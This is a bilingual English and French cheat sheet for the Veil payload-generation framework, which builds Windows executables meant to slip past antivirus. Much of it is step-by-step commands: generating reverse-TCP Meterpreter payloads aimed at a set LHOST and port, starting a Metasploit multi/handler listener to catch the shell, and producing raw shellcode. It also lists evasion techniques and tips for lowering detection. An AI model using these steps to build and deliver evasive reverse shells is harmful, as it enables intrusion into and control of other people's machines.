veil

Framework de génération de payloads axé sur l'évasion AV. Génère des payloads exécutables (Meterpreter, shellcode, personnalisés) qui contournent les solutions antivirus courantes. Payload generation framework focused on AV evasion. Generates executable payloads (Meterpreter, shellcode, custom) that bypass common antivirus solutions.

↗ https://github.com/Veil-Framework/Veil

Overview

Veil generates Windows payloads designed to bypass antivirus detection. It wraps shellcode (Meterpreter, custom) in various obfuscated carriers — Python, PowerShell, Go, C, Ruby — compiled to executables or scripts. The framework provides a menu-driven interface for selecting payloads and evasion techniques.

Installation

git clone https://github.com/Veil-Framework/Veil
cd Veil/config
./setup.sh

Main tool

./Veil.py

Basic Usage

Launch Veil

./Veil.py

List available tools

list

Use Evasion (main payload tool)

use 1

Or directly:

./Veil.py --tool Evasion

Inside Veil Evasion

Veil/Evasion> list          # list all payloads
Veil/Evasion> use 1         # select payload (e.g., python/meterpreter/rev_tcp)

# Configure options:
set LHOST 10.10.10.50
set LPORT 4444

generate                    # generate the payload

Common Payloads

# Python-based payloads (good evasion, needs Python on target)
python/meterpreter/rev_tcp
python/meterpreter/bind_tcp
python/shellcode_inject/flat

PowerShell payloads

powershell/meterpreter/rev_tcp
# C payloads (compiled with MinGW)
c/meterpreter/rev_tcp
c/shellcode_inject/flat

# Go payloads
go/meterpreter/rev_tcp
go/shellcode_inject/flat

Ruby payloads (needs Ruby on target)

ruby/meterpreter/rev_tcp

Setting Up Listener

# After generating payload, Veil prompts to set up MSF listener
# Or manually in Metasploit:
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.50
set LPORT 4444
run

Ordnance (Shellcode Generator)

Veil-Ordnance generates shellcode separately

./Veil.py --tool Ordnance
# Generate Meterpreter shellcode
set LHOST 10.10.10.50
set LPORT 4444
generate

# Output: raw shellcode for embedding in custom stagers

AV Evasion Techniques Used

- Encryption of shellcode (XOR, AES)
- Python/Ruby compilation to EXE (obfuscates structure)
- Custom PE structure (avoids common signatures)
- Polymorphic code wrappers
- Memory injection techniques
- Sleep calls and sandbox evasion

Tips

  • Veil-generated payloads have increasingly higher AV detection rates over time — test before deploying
  • Combine with custom obfuscation (Invoke-Obfuscation, Shikata Ga Nai) for better evasion
  • The Go and C payloads tend to have lower AV detection than Python-based ones
  • For modern engagements, consider Donut + custom shellcode loaders for better evasion
Help / Man page
./Veil.py [options]

--tool TOOL     Select tool: Evasion, Ordnance
--list-payloads List available payloads
--payload NAME  Select specific payload
--ip IP         LHOST for payload
--port PORT     LPORT for payload
--output FILE   Output filename
--clean         Clean generated files
--setup         Re-run setup

Inside interactive mode:
list            List payloads/tools
use N           Select item N
info            Show payload info
set K V         Set option K to value V
generate        Generate payload
exit            Quit

Vue d’ensemble

Veil génère des payloads Windows conçus pour contourner la détection antivirus. Il enveloppe du shellcode (Meterpreter, personnalisé) dans divers vecteurs obfusqués : Python, PowerShell, Go, C, Ruby, compilés en exécutables ou scripts. Le framework fournit une interface pilotée par menu pour sélectionner les payloads et techniques d’évasion.

Installation

git clone https://github.com/Veil-Framework/Veil
cd Veil/config
./setup.sh

Outil principal

./Veil.py

Utilisation de base

# Lancer Veil
./Veil.py

# Lister les outils disponibles
list

# Utiliser Evasion (outil principal de payload)
use 1

Ou directement :

./Veil.py --tool Evasion

Dans Veil Evasion

Veil/Evasion> list          # lister tous les payloads
Veil/Evasion> use 1         # sélectionner un payload (ex : python/meterpreter/rev_tcp)

# Configurer les options :
set LHOST 10.10.10.50
set LPORT 4444

generate                    # générer le payload

Payloads courants

# Payloads basés sur Python (bonne évasion, nécessite Python sur la cible)
python/meterpreter/rev_tcp
python/meterpreter/bind_tcp
python/shellcode_inject/flat

# Payloads PowerShell
powershell/meterpreter/rev_tcp

# Payloads C (compilés avec MinGW)
c/meterpreter/rev_tcp
c/shellcode_inject/flat

# Payloads Go
go/meterpreter/rev_tcp
go/shellcode_inject/flat

# Payloads Ruby (nécessite Ruby sur la cible)
ruby/meterpreter/rev_tcp

Mise en place du listener

# Après avoir généré le payload, Veil propose de mettre en place un listener MSF
# Ou manuellement dans Metasploit :
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.50
set LPORT 4444
run

Ordnance (générateur de shellcode)

Veil-Ordnance génère du shellcode séparément

./Veil.py --tool Ordnance
# Générer du shellcode Meterpreter
set LHOST 10.10.10.50
set LPORT 4444
generate

# Sortie : shellcode brut à intégrer dans des stagers personnalisés

Techniques d’évasion AV utilisées

- Chiffrement du shellcode (XOR, AES)
- Compilation Python/Ruby en EXE (obfusque la structure)
- Structure PE personnalisée (évite les signatures courantes)
- Enveloppes de code polymorphes
- Techniques d'injection mémoire
- Appels sleep et évasion de sandbox

Conseils

  • Les payloads générés par Veil ont des taux de détection AV de plus en plus élevés avec le temps : tester avant de déployer
  • Combiner avec de l’obfuscation personnalisée (Invoke-Obfuscation, Shikata Ga Nai) pour une meilleure évasion
  • Les payloads Go et C ont tendance à avoir une détection AV plus faible que les payloads basés sur Python
  • Pour des missions modernes, envisager Donut + des loaders de shellcode personnalisés pour une meilleure évasion
Aide / Page de manuel
./Veil.py [options]

--tool TOOL     Select tool: Evasion, Ordnance
--list-payloads List available payloads
--payload NAME  Select specific payload
--ip IP         LHOST for payload
--port PORT     LPORT for payload
--output FILE   Output filename
--clean         Clean generated files
--setup         Re-run setup

Inside interactive mode:
list            List payloads/tools
use N           Select item N
info            Show payload info
set K V         Set option K to value V
generate        Generate payload
exit            Quit